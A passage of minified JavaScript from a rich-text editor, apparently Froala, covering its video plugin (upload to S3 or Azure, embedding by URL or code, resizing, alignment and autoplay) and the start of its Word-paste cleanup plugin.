e.stopPropagation(),e.preventDefault(),!1;if(_.edit.isDisabled())return!1;for(var t=0;t<St.INSTANCES.length;t++)St.INSTANCES[t]!=_&&St.INSTANCES[t].events.trigger("video.hideResizer");_.toolbar.disable(),_.helpers.isMobile()&&(_.events.disableBlur(),_.$el.blur(),_.events.enableBlur()),_.$el.find(".fr-video.fr-active").removeClass("fr-active"),(w=y(this)).addClass("fr-active"),_.opts.iframe&&_.size.syncIframe(),te(),U(),i(),_.selection.clear(),_.button.bulkRefresh(),_.events.trigger("image.hideResizer")}function H(e){w&&(function t(){return _.shared.vid_exit_flag}()||!0===e)&&(f.removeClass("fr-active"),_.toolbar.enable(),w.removeClass("fr-active"),w=null,z())}function $(){_.shared.vid_exit_flag=!0}function z(){_.shared.vid_exit_flag=!1}function K(e){var t=e.originalEvent.dataTransfer;if(t&&t.files&&t.files.length){var a=t.files[0];if(a&&a.type&&-1!==a.type.indexOf("video")){if(!_.opts.videoUpload)return e.preventDefault(),e.stopPropagation(),!1;_.markers.remove(),_.markers.insertAtPoint(e.originalEvent),_.$el.find(".fr-marker").replaceWith(St.MARKERS),_.popups.hideAll();var n=_.popups.get("video.insert");return n||(n=o()),_.popups.setContainer("video.insert",_.$sc),_.popups.show("video.insert",e.originalEvent.pageX,e.originalEvent.pageY),S(),0<=_.opts.videoAllowedTypes.indexOf(a.type.replace(/video\//g,""))?W(t.files):G(T),e.preventDefault(),e.stopPropagation(),!1}}}function W(e){if(void 0!==e&&0<e.length){if(!1===_.events.trigger("video.beforeUpload",[e]))return!1;var t,a=e[0];if(!(null!==_.opts.videoUploadURL&&_.opts.videoUploadURL!=A||_.opts.videoUploadToS3||_.opts.videoUploadToAzure))return function E(n){w&&w.find("iframe")&&w.find("iframe").length&&X();var r=new FileReader;r.onload=function(){r.result;for(var e=atob(r.result.split(",")[1]),t=[],a=0;a<e.length;a++)t.push(e.charCodeAt(a));k(window.URL.createObjectURL(new Blob([new Uint8Array(t)],{type:n.type})),!1,null,w)},S(),r.readAsDataURL(n)}(a),!1;if(a.size>_.opts.videoMaxSize)return G(C),!1;if(_.opts.videoAllowedTypes.indexOf(a.type.replace(/video\//g,""))<0)return G(T),!1;if(_.drag_support.formdata&&(t=_.drag_support.formdata?new FormData:null),t){var n;if(!1!==_.opts.videoUploadToS3)for(n in t.append("key",_.opts.videoUploadToS3.keyStart+(new Date).getTime()+"-"+(a.name||"untitled")),t.append("success_action_status","201"),t.append("X-Requested-With","xhr"),t.append("Content-Type",a.type),_.opts.videoUploadToS3.params)_.opts.videoUploadToS3.params.hasOwnProperty(n)&&t.append(n,_.opts.videoUploadToS3.params[n]);for(n in _.opts.videoUploadParams)_.opts.videoUploadParams.hasOwnProperty(n)&&t.append(n,_.opts.videoUploadParams[n]);t.append(_.opts.videoUploadParam,a);var r,i,o=_.opts.videoUploadURL;_.opts.videoUploadToS3&&(o=_.opts.videoUploadToS3.uploadURL?_.opts.videoUploadToS3.uploadURL:"https://".concat(_.opts.videoUploadToS3.region,".amazonaws.com/").concat(_.opts.videoUploadToS3.bucket));var s=_.opts.videoUploadMethod;_.opts.videoUploadToAzure&&(o=_.opts.videoUploadToAzure.uploadURL?"".concat(_.opts.videoUploadToAzure.uploadURL,"/").concat(a.name):encodeURI("https://".concat(_.opts.videoUploadToAzure.account,".blob.core.windows.net/").concat(_.opts.videoUploadToAzure.container,"/").concat(a.name)),r=o,_.opts.videoUploadToAzure.SASToken&&(o+=_.opts.videoUploadToAzure.SASToken),s="PUT");var l=_.core.getXHR(o,s);if(_.opts.videoUploadToAzure){var c=(new Date).toUTCString();if(!_.opts.videoUploadToAzure.SASToken&&_.opts.videoUploadToAzure.accessKey){var d=_.opts.videoUploadToAzure.account,f=_.opts.videoUploadToAzure.container;if(_.opts.videoUploadToAzure.uploadURL){var p=_.opts.videoUploadToAzure.uploadURL.split("/");f=p.pop(),d=p.pop().split(".")[0]}var u="x-ms-blob-type:BlockBlob\nx-ms-date:".concat(c,"\nx-ms-version:2019-07-07"),g=encodeURI("/"+d+"/"+f+"/"+a.name),h=s+"\n\n\n"+a.size+"\n\n"+a.type+"\n\n\n\n\n\n\n"+u+"\n"+g,m=_.cryptoJSPlugin.cryptoJS.HmacSHA256(h,_.cryptoJSPlugin.cryptoJS.enc.Base64.parse(_.opts.videoUploadToAzure.accessKey)).toString(_.cryptoJSPlugin.cryptoJS.enc.Base64),v="SharedKey "+d+":"+m;i=m,l.setRequestHeader("Authorization",v)}for(n in l.setRequestHeader("x-ms-version","2019-07-07"),l.setRequestHeader("x-ms-date",c),l.setRequestHeader("Content-Type",a.type),l.setRequestHeader("x-ms-blob-type","BlockBlob"),_.opts.videoUploadParams)_.opts.videoUploadParams.hasOwnProperty(n)&&l.setRequestHeader(n,_.opts.videoUploadParams[n]);for(n in _.opts.videoUploadToAzure.params)_.opts.videoUploadToAzure.params.hasOwnProperty(n)&&l.setRequestHeader(n,_.opts.videoUploadToAzure.params[n])}l.onload=function(){R.call(l,w,r,i)},l.onerror=L,l.upload.onprogress=x,l.onabort=I,S(),_.events.disableBlur(),_.edit.off(),_.events.enableBlur();var b=_.popups.get("video.insert");b&&y(b.off("abortUpload")).on("abortUpload",function(){4!=l.readyState&&l.abort()}),l.send(_.opts.videoUploadToAzure?a:t)}}}function G(e,t){_.edit.on(),w&&w.find("video").addClass("fr-error"),E(_.language.translate("Something went wrong. Please try again.")),_.events.trigger("video.error",[{code:e,message:r[e]},t])}function V(){if(w){var e=_.popups.get("video.size"),t=w.find("iframe, embed, ".concat(w.find("iframe, embed, audio").get(0)?"audio":"video"));e.find('input[name="width"]').val(t.get(0).style.width||t.attr("width")).trigger("change"),e.find('input[name="height"]').val(t.get(0).style.height||t.attr("height")).trigger("change")}}function Y(e){if(e)return _.popups.onRefresh("video.size",V),!0;var t={buttons:'<div class="fr-buttons fr-tabs">'.concat(_.button.buildList(_.opts.videoSizeButtons),"</div>"),size_layer:'<div class="fr-video-size-layer fr-layer fr-active" id="fr-video-size-layer-'.concat(_.id,'"><div class="fr-video-group"><div class="fr-input-line"><input id="fr-video-size-layer-width-').concat(_.id,'" type="text" name="width" placeholder="').concat(_.language.translate("Width"),'" tabIndex="1"></div><div class="fr-input-line"><input id="fr-video-size-layer-height-').concat(_.id,'" type="text" name="height" placeholder="').concat(_.language.translate("Height"),'" tabIndex="1"></div></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="videoSetSize" tabIndex="2" role="button">').concat(_.language.translate("Update"),"</button></div></div>")},a=_.popups.create("video.size",t);return _.events.$on(_.$wp,"scroll",function(){w&&_.popups.isVisible("video.size")&&(_.events.disableBlur(),c(w))}),a}function j(e){if(void 0===e&&(e=w),e){if(e.hasClass("fr-fvl"))return"left";if(e.hasClass("fr-fvr"))return"right";if(e.hasClass("fr-dvb")||e.hasClass("fr-dvi"))return"center";if("block"==e.css("display")){if("left"==e.css("text-algin"))return"left";if("right"==e.css("text-align"))return"right"}else{if("left"==e.css("float"))return"left";if("right"==e.css("float"))return"right"}}return"center"}function q(e){void 0===e&&(e=w);var t=e.css("float");return e.css("float","none"),"block"==e.css("display")?(e.css("float",""),e.css("float")!=t&&e.css("float",t),"block"):(e.css("float",""),e.css("float")!=t&&e.css("float",t),"inline")}function X(){if(w&&!1!==_.events.trigger("video.beforeRemove",[w])){var e=w;if(_.popups.hideAll(),H(!0),_.opts.trackChangesEnabled&&(!e[0].parentNode||"SPAN"!==e[0].parentNode.tagName||!e[0].parentNode.hasAttribute("data-tracking")))return void _.track_changes.removeSpecialItem(e);_.selection.setBefore(e.get(0))||_.selection.setAfter(e.get(0)),e.remove(),_.selection.restore(),_.html.fillEmptyBlocks()}}function Z(){l()}function Q(e,t,a){!_.opts.htmlUntouched&&_.opts.useClasses?(e.removeClass("fr-fvl fr-fvr fr-dvb fr-dvi"),e.addClass("fr-fv".concat(a[0]," fr-dv").concat(t[0]))):"inline"==t?(e.css({display:"inline-block"}),"center"==a?e.css({"float":"none"}):"left"==a?e.css({"float":"left"}):e.css({"float":"right"})):(e.css({display:"block",clear:"both"}),"left"==a?e.css({textAlign:"left"}):"right"==a?e.css({textAlign:"right"}):e.css({textAlign:"center"}))}function J(){var e=_.$el.find("video").filter(function(){return 0===y(this).parents("span.fr-video").length});if(0!=e.length){e.wrap(y(document.createElement("span")).attr("class","fr-video fr-deletable").attr("contenteditable","false")),_.$el.find("embed, iframe").filter(function(){if(_.browser.safari&&this.getAttribute("src")&&this.setAttribute("src",this.src),0<y(this).parents("span.fr-video").length)return!1;for(var e=y(this).attr("src"),t=0;t<St.VIDEO_PROVIDERS.length;t++){var a=St.VIDEO_PROVIDERS[t];if(a.test_regex.test(e)&&new RegExp(_.opts.videoAllowedProviders.join("|")).test(a.provider))return!0}return!1}).map(function(){return 0===y(this).parents("object").length?this:y(this).parents("object").get(0)}).wrap(y(document.createElement("span")).attr("class","fr-video").attr("contenteditable","false"));for(var t,a,n,r,i=_.$el.find("span.fr-video, video"),o=0;o<i.length;o++){var s=y(i[o]);!_.opts.htmlUntouched&&_.opts.useClasses?((r=s).hasClass("fr-dvi")||r.hasClass("fr-dvb")||(r.addClass("fr-fv".concat(j(r)[0])),r.addClass("fr-dv".concat(q(r)[0]))),_.opts.videoTextNear||s.removeClass("fr-dvi").addClass("fr-dvb")):_.opts.htmlUntouched||_.opts.useClasses||(void 0,a=(t=s).hasClass("fr-dvb")?"block":t.hasClass("fr-dvi")?"inline":null,n=t.hasClass("fr-fvl")?"left":t.hasClass("fr-fvr")?"right":j(t),Q(t,a,n),t.removeClass("fr-dvb fr-dvi fr-fvr fr-fvl"))}i.toggleClass("fr-draggable",_.opts.videoMove)}}function ee(e){document.getElementById("autoplay-".concat(_.id)).style.cssText="background:".concat(e)}function te(){if(w){_.selection.clear();var e=_.doc.createRange();e.selectNode(w.get(0)),_.selection.get().addRange(e)}}return r[1]="Video cannot be loaded from the passed link.",r[p]="No link in upload response.",r[u]="Error during file upload.",r[g]="Parsing response failed.",r[C]="File is too large.",r[T]="Video file type is invalid.",r[7]="Files can be uploaded only to same domain in IE 8 and IE 9.",_.shared.vid_exit_flag=!1,{_init:function ae(){_.opts.videoResponsive&&(_.opts.videoResize=!1),function e(){_.events.on("drop",K,!0),_.events.on("mousedown window.mousedown",$),_.events.on("window.touchmove",z),_.events.on("mouseup window.mouseup",H),_.events.on("commands.mousedown",function(e){0<e.parents(".fr-toolbar").length&&H()}),_.events.on("video.hideResizer commands.undo commands.redo element.dropped",function(){H(!0)}),_.events.on("filestack-init-video",function(){o()})}(),_.helpers.isMobile()&&(_.events.$on(_.$el,"touchstart","span.fr-video",function(){a=!1}),_.events.$on(_.$el,"touchmove",function(){a=!0})),_.events.on("html.set",J),J(),_.events.$on(_.$el,"mousedown","span.fr-video",function(e){e.stopPropagation(),(_.browser.msie||_.browser.edge)&&(e.target.innerText||(e.target.dragDrop(),t.call(this,e)))}),_.events.$on(_.$el,"click touchend","span.fr-video",function(e){if(e.target.innerText.length||"false"==y(this).parents("[contenteditable]").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;t.call(this,e)}),_.events.on("keydown",function(e){var t=e.which;return!w||t!=St.KEYCODE.BACKSPACE&&t!=St.KEYCODE.DELETE?w&&t==St.KEYCODE.ESC?(H(!0),e.preventDefault(),!1):w&&t!=St.KEYCODE.F10&&!_.keys.isBrowserAction(e)?(e.preventDefault(),!1):void 0:(e.preventDefault(),X(),_.undo.saveStep(),!1)},!0),_.events.on("toolbar.esc",function(){if(w)return _.events.disableBlur(),_.events.focus(),!1},!0),_.events.on("toolbar.focusEditor",function(){if(w)return!1},!0),_.events.on("keydown",function(){_.$el.find("span.fr-video:empty").remove()}),_.$wp&&(B(),_.events.on("contentChanged",B)),o(!0),Y(!0)},showInsertPopup:function ne(){var e=_.$tb.find('.fr-command[data-cmd="insertVideo"]'),t=_.popups.get("video.insert");if(t||(t=o()),l(),!t.hasClass("fr-active"))if(_.popups.refresh("video.insert"),_.popups.setContainer("video.insert",_.$tb),e.isVisible()){var a=_.button.getPosition(e),n=a.left,r=a.top;_.popups.show("video.insert",n,r,e.outerHeight())}else _.position.forSelection(t),_.popups.show("video.insert")},showLayer:function re(e){var t,a,n=_.popups.get("video.insert");if(!w&&!_.opts.toolbarInline){var r=_.$tb.find('.fr-command[data-cmd="insertVideo"]');t=r.offset().left,a=r.offset().top+(_.opts.toolbarBottom?10:r.outerHeight()-10)}_.opts.toolbarInline&&(a=n.offset().top-_.helpers.getPX(n.css("margin-top")),n.hasClass("fr-above")&&(a+=n.outerHeight())),n.find(".fr-layer").removeClass("fr-active"),n.find(".fr-".concat(e,"-layer")).addClass("fr-active"),_.popups.show("video.insert",t,a,0),_.accessibility.focusPopup(n)},refreshByURLButton:function ie(e){var t=_.popups.get("video.insert");t&&t.find(".fr-video-by-url-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},refreshEmbedButton:function oe(e){var t=_.popups.get("video.insert");t&&t.find(".fr-video-embed-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},refreshUploadButton:function se(e){var t=_.popups.get("video.insert");t&&t.find(".fr-video-upload-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},upload:W,insertByURL:function le(e){var t=!!document.getElementById("videoPluginAutoplay")&&document.getElementById("videoPluginAutoplay").checked;if(void 0===e){var a=(e=(_.popups.get("video.insert").find('.fr-video-by-url-layer input[type="text"]').val()||"").trim()).match(/(https?:\/\/)?(www\.)?(player\.)?vimeo\.com\/?(showcase\/)*([0-9))([a-z]*\/)*([0-9]{6,11})[?]?.*/);if(a&&7==a.length){var n=a[6],r=e.substring(0,e.lastIndexOf("/")),i=e.substring(e.lastIndexOf("/")+1,e.length);e=i.includes("?h=")||i.includes("?v=")||n===i?("".concat(r,"/").concat(i)||"").trim():("".concat(r,"?h=").concat(i)||"").trim()}}var o=null;if(/^http/.test(e)||(e="https://".concat(e)),_.helpers.isURL(e))for(var s=0;s<St.VIDEO_PROVIDERS.length;s++){var l=St.VIDEO_PROVIDERS[s],c="autoplay=1&mute=1";if(l.html.includes("autoplay=1")&&document.getElementById("videoPluginAutoplay").checked)l.html=l.html,document.getElementById("videoPluginAutoplay").checked=!1;else if(t){var d=l.html.indexOf("{url}")+5;l.html=[l.html.slice(0,d),c,l.html.slice(d)].join(""),t=!1,document.getElementById("videoPluginAutoplay").checked=!1}else(l=St.VIDEO_PROVIDERS[s]).html=l.html.replace(c,"");if(l.test_regex.test(e)&&new RegExp(_.opts.videoAllowedProviders.join("|")).test(l.provider)){o=e.replace(l.url_regex,l.url_text),o=l.html.replace(/\{url\}/,o);break}}o?m(o):(E(_.language.translate("Something went wrong. Please try again.")),_.events.trigger("video.linkError",[e]))},insertEmbed:function ce(e){void 0===e&&(e=_.popups.get("video.insert").find(".fr-video-embed-layer textarea").val()||""),0!==e.length&&St.VIDEO_EMBED_REGEX.test(e)?m(e):(E(_.language.translate("Something went wrong. Please try again.")),_.events.trigger("video.codeError",[e]))},insert:m,align:function de(e){w.removeClass("fr-fvr fr-fvl"),!_.opts.htmlUntouched&&_.opts.useClasses?"left"==e?w.addClass("fr-fvl"):"right"==e&&w.addClass("fr-fvr"):Q(w,q(),e),te(),U(),i(),_.selection.clear()},refreshAlign:function fe(e){if(!w)return!1;e.find(">*").first().replaceWith(_.icon.create("video-align-".concat(j())))},refreshAlignOnShow:function pe(e,t){w&&t.find('.fr-command[data-param1="'.concat(j(),'"]')).addClass("fr-active").attr("aria-selected",!0)},display:function ue(e){w.removeClass("fr-dvi fr-dvb"),!_.opts.htmlUntouched&&_.opts.useClasses?"inline"==e?w.addClass("fr-dvi"):"block"==e&&w.addClass("fr-dvb"):Q(w,e,j()),te(),U(),i(),_.selection.clear()},refreshDisplayOnShow:function ge(e,t){w&&t.find('.fr-command[data-param1="'.concat(q(),'"]')).addClass("fr-active").attr("aria-selected",!0)},remove:X,hideProgressBar:l,showSizePopup:function he(){var e=_.popups.get("video.size");e||(e=Y()),l(),_.popups.refresh("video.size"),_.popups.setContainer("video.size",_.$sc);var t=w.find("iframe, embed, ".concat(w.find("iframe, embed, audio").get(0)?"audio":"video")),a=t.offset().left+t.outerWidth()/2,n=t.offset().top+t.height();_.popups.show("video.size",a,n,t.height(),!0)},replace:function me(){var e=_.popups.get("video.insert");e||(e=o()),_.popups.isVisible("video.insert")||(l(),_.popups.refresh("video.insert"),_.popups.setContainer("video.insert",_.$sc));var t=w.offset().left+w.outerWidth()/2,a=w.offset().top+w.height();_.popups.show("video.insert",t,a,w.outerHeight(),!0)},back:function e(){w?(_.events.disableBlur(),w[0].click()):(_.events.disableBlur(),_.selection.restore(),_.events.enableBlur(),_.popups.hide("video.insert"),_.toolbar.showInline())},setSize:function ve(e,t){if(w){var a=_.popups.get("video.size"),n=w.find("iframe, embed, ".concat(w.find("iframe, embed, audio").get(0)?"audio":"video"));n.css("width",e||a.find('input[name="width"]').val()),n.css("height",t||a.find('input[name="height"]').val()),n.get(0).style.width&&n.removeAttr("width"),n.get(0).style.height&&n.removeAttr("height"),a.find("input:focus").blur(),setTimeout(function(){w.trigger("click")},_.helpers.isAndroid()?50:0)}},get:function be(){return w},showProgressBar:S,_editVideo:c,setAutoplay:function Ee(){var e;if(w.find("iframe, embed, audio").get(0))(e=w.find("iframe, embed, audio")).get(0).src.includes("autoplay=1")?(ee("#FFFFFF"),e.get(0).src=e.get(0).src.replace("&autoplay=1","")):(ee("#D6D6D6"),e.get(0).src=e.get(0).src+"&autoplay=1");else if((e=w.find("iframe, embed, video")).get(0).outerHTML.includes("autoplay"))ee("#FFFFFF"),e.get(0).outerHTML=e.get(0).outerHTML.replace("autoplay","");else{ee("#D6D6D6");var t=e.get(0).outerHTML.indexOf("class")-1;e.get(0).outerHTML=[e.get(0).outerHTML.slice(0,t),"autoplay",e.get(0).outerHTML.slice(t)].join("")}},insertHtmlVideo:k}},St.RegisterCommand("insertVideo",{title:"Insert Video",undo:!1,focus:!0,refreshAfterCallback:!1,popup:!0,callback:function(){this.popups.isVisible("video.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("video.insert")):this.video.showInsertPopup()},plugin:"video"}),St.DefineIcon("insertVideo",{NAME:"video-camera",FA5NAME:"camera",SVG_KEY:"insertVideo"}),St.DefineIcon("videoByURL",{NAME:"link",SVG_KEY:"insertLink"}),St.RegisterCommand("videoByURL",{title:"By URL",undo:!1,focus:!1,toggle:!0,callback:function(){this.video.showLayer("video-by-url")},refresh:function(e){this.video.refreshByURLButton(e)}}),St.DefineIcon("videoEmbed",{NAME:"code",SVG_KEY:"codeView"}),St.RegisterCommand("videoEmbed",{title:"Embedded Code",undo:!1,focus:!1,toggle:!0,callback:function(){this.video.showLayer("video-embed")},refresh:function(e){this.video.refreshEmbedButton(e)}}),St.DefineIcon("videoUpload",{NAME:"upload",SVG_KEY:"upload"}),St.RegisterCommand("videoUpload",{title:"Upload Video",undo:!1,focus:!1,toggle:!0,callback:function(){this.video.showLayer("video-upload")},refresh:function(e){this.video.refreshUploadButton(e)}}),St.RegisterCommand("videoInsertByURL",{undo:!0,focus:!0,callback:function(){this.video.insertByURL()}}),St.RegisterCommand("videoInsertEmbed",{undo:!0,focus:!0,callback:function(){this.video.insertEmbed()}}),St.DefineIcon("videoDisplay",{NAME:"star",SVG_KEY:"star"}),St.RegisterCommand("videoDisplay",{title:"Display",type:"dropdown",options:{inline:"Inline",block:"Break Text"},callback:function(e,t){this.video.display(t)},refresh:function(e){this.opts.videoTextNear||e.addClass("fr-hidden")},refreshOnShow:function(e,t){this.video.refreshDisplayOnShow(e,t)}}),St.DefineIcon("video-align",{NAME:"align-left",SVG_KEY:"align Left"}),St.DefineIcon("video-align-left",{NAME:"align-left",SVG_KEY:"alignLeft"}),St.DefineIcon("video-align-right",{NAME:"align-right",SVG_KEY:"alignRight"}),St.DefineIcon("video-align-center",{NAME:"align-justify",SVG_KEY:"alignJustify"}),St.DefineIcon("videoAlign",{NAME:"align-center",SVG_KEY:"alignCenter"}),St.RegisterCommand("videoAlign",{type:"dropdown",title:"Align",options:{left:"Align Left",center:"None",right:"Align Right"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=St.COMMANDS.videoAlign.options;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command fr-title" tabIndex="-1" role="option" data-cmd="videoAlign" data-param1="'.concat(a,'" title="').concat(this.language.translate(t[a]),'">').concat(this.icon.create("video-align-".concat(a)),'<span class="fr-sr-only">').concat(this.language.translate(t[a]),"</span></a></li>"));return e+="</ul>"},callback:function(e,t){this.video.align(t)},refresh:function(e){this.video.refreshAlign(e)},refreshOnShow:function(e,t){this.video.refreshAlignOnShow(e,t)}}),St.DefineIcon("videoReplace",{NAME:"exchange",FA5NAME:"exchange-alt",SVG_KEY:"replaceImage"}),St.RegisterCommand("videoReplace",{title:"Replace",undo:!1,focus:!1,popup:!0,refreshAfterCallback:!1,callback:function(){this.video.replace()}}),St.DefineIcon("videoRemove",{NAME:"trash",SVG_KEY:"remove"}),St.RegisterCommand("videoRemove",{title:"Remove",callback:function(){this.video.remove()}}),St.DefineIcon("autoplay",{NAME:"autoplay",SVG_KEY:"autoplay"}),St.RegisterCommand("autoplay",{undo:!1,focus:!1,popup:!0,title:"Autoplay",callback:function(){this.video.setAutoplay()}}),St.DefineIcon("videoSize",{NAME:"arrows-alt",SVG_KEY:"imageSize"}),St.RegisterCommand("videoSize",{undo:!1,focus:!1,popup:!0,title:"Change Size",callback:function(){this.video.showSizePopup()}}),St.DefineIcon("videoBack",{NAME:"arrow-left",SVG_KEY:"back"}),St.RegisterCommand("videoBack",{title:"Back",undo:!1,focus:!1,back:!0,callback:function(){this.video.back()},refresh:function(e){this.video.get()||this.opts.toolbarInline?(e.removeClass("fr-hidden"),e.next().hasClass("fr-separator")&&e.next().removeClass("fr-hidden")):(e.addClass("fr-hidden"),e.next().hasClass("fr-separator")&&e.next().addClass("fr-hidden"))}}),St.RegisterCommand("videoDismissError",{title:"OK",undo:!1,callback:function(){this.video.hideProgressBar(!0)}}),St.RegisterCommand("videoSetSize",{undo:!0,focus:!1,title:"Update",refreshAfterCallback:!1,callback:function(){this.video.setSize()}}),Object.assign(St.DEFAULTS,{wordDeniedTags:[],wordDeniedAttrs:[],wordAllowedStyleProps:["font-family","font-size","background","color","width","text-align","vertical-align","background-color","padding","margin","height","margin-top","margin-left","margin-right","margin-bottom","text-decoration","font-weight","font-style","text-indent","border","border-.*","line-height","list-style-type"],wordPasteModal:!0,wordPasteKeepFormatting:!0}),St.PLUGINS.wordPaste=function(y){var o,r,A,F=y.$,s="word_paste",g={},C=!0;function t(e){var t=y.opts.wordAllowedStyleProps;e||(y.opts.wordAllowedStyleProps=[]),0===r.indexOf("<colgroup>")&&(r="<table>"+r+"</table>"),r=i(r=r.replace(/<span[\n\r ]*style='mso-spacerun:yes'>([\r\n\u00a0 ]*)<\/span>/g,function(e,t){for(var a="",n=0;n++<t.length;)a+=" ";return a}),y.paste.getRtfClipboard());var a=y.doc.createElement("DIV");a.innerHTML=r,y.html.cleanBlankSpaces(a),r=a.innerHTML,r=(r=y.paste.cleanEmptyTagsAndDivs(r)).replace(/\u200b/g,""),function n(){y.modals.hide(s)}(),y.helpers.isMobile()&&y.events.focus(),y.paste.clean(r,!0,!0),y.opts.wordAllowedStyleProps=t}function T(e){e.parentNode&&e.parentNode.removeChild(e)}function h(e,t){if(t(e))for(var a=e.firstChild;a;){var n=a,r=a.previousSibling;a=a.nextSibling,h(n,t),n.previousSibling||n.nextSibling||n.parentNode||!a||r===a.previousSibling||!a.parentNode?n.previousSibling||n.nextSibling||n.parentNode||!a||a.previousSibling||a.nextSibling||a.parentNode||(r?a=r.nextSibling?r.nextSibling.nextSibling:null:e.firstChild&&(a=e.firstChild.nextSibling)):a=r?r.nextSibling:e.firstChild}}function M(e){return F(e).hasClass("ListContainerWrapper")&&0<F(e).find("ol").length}function D(e){return F(e).hasClass("ListContainerWrapper")&&0<F(e).find("ul").length}function N(e){if(M(e)||D(e))return!0;if(!e.getAttribute("style")||!/mso-list:[\s]*l/gi.test(e.getAttribute("style").replace(/\n/gi,"")))return!1;try{if(!e.querySelector('[style="mso-list:Ignore"]'))return!!(e.outerHTML&&0<=e.outerHTML.indexOf("\x3c!--[if !supportLists]--\x3e"))}catch(t){return!1}return!0}function P(e){return M(e)||D(e)?F(e).find("li").attr("data-aria-level"):e.getAttribute("style").replace(/\n/gi,"").replace(/.*level([0-9]+?).*/gi,"$1")}function B(e,n){var t=e.cloneNode(!0);if(-1!==["H1","H2","H3","H4","H5","H6"].indexOf(e.tagName)){var a=document.createElement(e.tagName.toLowerCase());a.setAttribute("style",e.getAttribute("style")),a.innerHTML=t.innerHTML,t.innerHTML=a.outerHTML}h(t,function(e){if(e.nodeType==Node.COMMENT_NODE&&(y.browser.msie||y.browser.safari||y.browser.edge))try{if("[if !supportLists]"===e.data){for(e=e.nextSibling;e&&e.nodeType!==Node.COMMENT_NODE;){var t=e.nextSibling;e.parentNode.removeChild(e),e=t}e&&e.nodeType==Node.COMMENT_NODE&&e.parentNode.removeChild(e)}}catch(a){return!1}return e.nodeType===Node.ELEMENT_NODE&&("mso-list:\nIgnore"===e.getAttribute("style")&&e.setAttribute("style","mso-list:Ignore"),"mso-list:Ignore"===e.getAttribute("style")&&e.parentNode.removeChild(e),e.setAttribute("style",m(e)),b(e,n)),!0});var r=M(e)?F(e).find("li").get(0).innerHTML:t.innerHTML;if(M(e)||D(e)){r="";for(var i=F(e).find("li"),o=0;o<i.length;o++){var s=F(i.get(o).innerHTML);s.find("span").each(function(){" "===F(this).html()&&(0<F(this).prev().text().trim().length?F(this).remove():F(this).html("​"))});var l=i[o].style.marginLeft;l?(l=parseFloat(parseFloat(l).toFixed(2))+l.match(/[a-zA-Z]+/g)[0],r+='<li style = "margin-left: '.concat(l,';">').concat(s.get(0).innerHTML,"</li>")):r+="<li >".concat(s.get(0).innerHTML,"</li>")}}else{var c,d=null===(c=F(e).find("p").get(0))||void 0===c?void 0:c.style.marginLeft;r=d?(d=parseFloat(parseFloat(d).toFixed(2))+d.match(/[a-zA-Z]+/g)[0],'<li style = "margin-left: '.concat(d,';">').concat(r,"</li>")):"<li>".concat(r,"</li>")}return r=r.replace(/<!--[\s\S]*?-->/gi,"")}function m(e){var t=1<arguments.length&&arguments[1]!==undefined?arguments[1]:null,a="",n=["line-height","font-family","font-size","color","background"].concat(ye(t||[])),r=e.getAttribute("style");return r&&n.forEach(function(t){var e=r.split(";").find(function(e){return e.trim().includes(t+":")});e&&(e.includes("mso")&&(e=e.match(new RegExp(t+":.*(;|)"))[0]),e.trim().startsWith(t)&&(a+=e+";"))}),a}function E(e,t){for(var a=document.createElement(t),n=0;n<e.attributes.length;n++){var r=e.attributes[n].name;"FONT"===e.tagName&&(y.browser.msie&&["id","class","style"].indexOf(r)<0||!y.browser.msie&&CSS.supports(r,e.getAttribute(r)))?F(a).css(r,e.getAttribute(r)):a.setAttribute(r,e.getAttribute(r))}return a.innerHTML=e.innerHTML,e.parentNode.replaceChild(a,e),a}function _(e,t){y.node.clearAttributes(e);for(var a=e.firstElementChild,n=0,r=!1,i=null;a;){if(a.firstElementChild&&-1!==a.firstElementChild.tagName.indexOf("W:"))for(var o=0;o<a.children.length;o++)"<('[^']*'|\"[^\"]*\"|[^\"'>])*>"==a.children[o]&&(a.innerHTML+=a.children[o]);(i=a.getAttribute("width"))||(i=a.style.width),i||r||(r=!0),n+=parseInt(i,10),(!a.firstChild||a.firstChild&&a.firstChild.data===St.UNICODE_NBSP)&&(a.firstChild&&T(a.firstChild),a.innerHTML="<br>");for(var s=a.firstElementChild,l=1===a.children.length;s;)"P"!==s.tagName||N(s)||l&&k(s),s=s.nextElementSibling;if(t){var c=a.getAttribute("class");if(c){var d=(c=S(c)).match(/xl[0-9]+/gi);if(d){var f="."+d[0];t[f]&&R(a,t[f])}}t.td&&R(a,t.td)}var p=a.getAttribute("style");p&&(p=S(p))&&";"!==p.slice(-1)&&(p+=";");var u=a.getAttribute("valign");if(!u&&p){var g=p.match(/vertical-align:.+?[; "]{1,1}/gi);g&&(u=g[g.length-1].replace(/vertical-align:(.+?)[; "]{1,1}/gi,"$1"))}var h=null;if(p){var m=p.match(/text-align:.+?[; "]{1,1}/gi);m&&(h=m[m.length-1].replace(/text-align:(.+?)[; "]{1,1}/gi,"$1")),"general"===h&&(h=null)}var v=null;if(p){var b=p.match(/background:.+?[; "]{1,1}/gi);b&&(v=b[b.length-1].replace(/background:(.+?)[; "]{1,1}/gi,"$1"))}var E=a.getAttribute("colspan"),_=a.getAttribute("rowspan");E&&a.setAttribute("colspan",E),_&&a.setAttribute("rowspan",_),u&&(a.style["vertical-align"]=u),h&&(a.style["text-align"]=h),v&&(a.style["background-color"]=v),i&&a.setAttribute("width",i),a=a.nextElementSibling}for(a=e.firstElementChild;a;)i=a.getAttribute("width"),r&&a.removeAttribute("width"),a=a.nextElementSibling;e.previousSibling?A!=n&&(C=!1):A=n,e.nextElementSibling||function w(e){var t=e.closest("table"),a=0,r=function r(){var n=0;Array.from(e.children).forEach(function(e){var t=parseInt(e.getAttribute("width"),10);isNaN(t)||(n+=t)}),a<n&&(a=n),C?Array.from(e.children).forEach(function(e){var t=parseInt(e.getAttribute("width"),10);if(!isNaN(t)&&0<n){var a=100*t/n;e.setAttribute("width","".concat(a,"%"))}}):Array.from(e.children).forEach(function(e){var 